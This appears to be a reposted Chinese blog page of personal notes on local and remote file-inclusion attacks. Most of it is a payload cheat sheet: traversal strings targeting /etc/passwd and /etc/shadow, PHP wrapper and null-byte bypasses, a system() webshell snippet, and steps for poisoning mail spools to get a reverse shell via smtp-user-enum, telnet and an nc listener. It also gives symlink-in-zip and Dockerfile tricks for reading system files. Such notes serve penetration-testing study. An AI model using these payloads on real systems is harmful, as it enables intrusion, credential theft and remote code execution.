LFI/RFI漏洞相关

2017-01-12 09:56:47来源:oschina作者:Cnlouds人点击



### 说明
```
日常做的一些摘抄及自己测试过程中的一些笔记,如有版权或错误欢迎留言指正。
```
### 常见敏感漏洞字段
```
&RealPath=
&FilePath=
&filepath=
&Path=
&path=
&inputFile=
&url=
&urls=
&Lang=
&dis=
&data=
&readfile=
&filep=
&src=
&menu=
```
### 一些敏感的本地可读取路径
```
# 有很多,详见fuzzdb,下面仅举例部分
/etc/shadow
/etc/passwd
/etc/hosts
/root/.bash_history# 找user add,cd,MySQL,ssh,nohop看敏感目录和文件等
/etc/syscomfig/network-scripts/ifcfg-eth1
/etc/syscomfig/network-scripts/ifcfg-eth0
/proc/self/environ
```
### 常用的Payload
```
# 有一个paper整理很不错,大致翻一下。
# 地址: https://www.exploit-db.com/docs/40992.pdf
# 常规规则
/script.php?page=../../../../../../../../etc/passwd
/script.php?page=file://etc/passwd
# PHP Expect Wrapper 默认此php拓展并未开启
php?page=expect://ls
# PHP file://Wrapper post方式经常出现
/fi/?page=php://input&cmd=ls
# PHP php://filter
vuln.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
vuln.php?page=php://filter/resource=/etc/passwd
# 上传包含php反弹shell的压缩文件
vuln.php?page=zip://path/to/file.zip%23shell
# LFI via /proc/self/environ
# 如果可能包含/proc/self/environ的话,尝试在UA中写入shell代码,然后包含/proc/self/environ执行
# Useful Shells
<? system('uname -a');?>
# Null Byte Technique
vuln.php?page=/etc/passwd%00
vuln.php?page=/etc/passwd%2500
# Truncation LFI Bypass
vuln.php?page=/etc/passwd........................................................................................
vuln.php?page=../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
vuln.php?page=/etc/passwd/../../../../../../../../../../../../../../../../../..
# 日志文件包含,比如系统日志,404日志,web日志等
# Email a Reverse Shell
# 如果一个网站没有MX记录指定,使用www-data或者apache user调用系统smtp存储发送邮件的话,那么可以尝试在邮件内容中写入payload,会被存储在/var/spool/mail/www-data,访问vuln.php?page=/var/spool/mail/www-data触发反弹shell
# 具体利用
# 爆破查看是否有web容器用户
smtp-user-enum -M VRFY -U username.txt -t 10.0.0.0
# 使用web容器用户(如www-data) telnet发送邮件
telnet 10.0.0.1 25
HELO localhost
MAIL FROM:
RCPT TO:
DATA
反弹php shell代码
# 反弹后,本机连接payload中的端口
nc -lvv 8000
# 建议对照英文版阅读,可能部分词语翻译不清楚
```
### 利用php在windows下的bug
```
# 向任意php页面发包上传文件都会在tmp目录生成临时文件(php特性),文件名前缀为php加3个或3个以上的随机大小写字母加数字。(如: php47B6) 并且存在时间只有一瞬间。
# 而php在windows下有个bug,就是能使用<<当通配符用。使用<<符号相当于使用*号通配符。
# 依据上面特性包含文件,常见文件操作函数都受此影响。
http://localhost/file.php?b4dboy=../../../../../../../windows/tmp/php<<
# 详见作者博客:http://secoff.net/archives/223.html
```
### 一些云服务的文件读取绕过
```bash
# 创建软连接绕过沙盒限制读取文件
# 1.创建一个链接文件到/etc/passwd
ln -s /etc/passwd link
# 2. 压缩文件,同时保留链接
zip --symlinks test.zip link
# 3.上传test.zip文件,系统会自动解压缩
# 4. 代码文件当中会返回/etc/passwd的内容。
```
### Dockerfile可控任意文件读取
```bash
# Docker的一些好玩的利用下次再说
WORKDIR /
COPY etc/passwd /tmp
VOLUME ["/etc", '/mnt']
```
### 其他
```
其他一些特殊CMS造成的暂且不提,如jsp WEB-INF/web.xml泄漏等
```
### 另份总结
```
# 感谢各位作者的付出分享。
http://blog.csdn.net/cic10235/article/details/52103984
```

最新文章

123

最新摄影

微信扫一扫

第七城市微信公众平台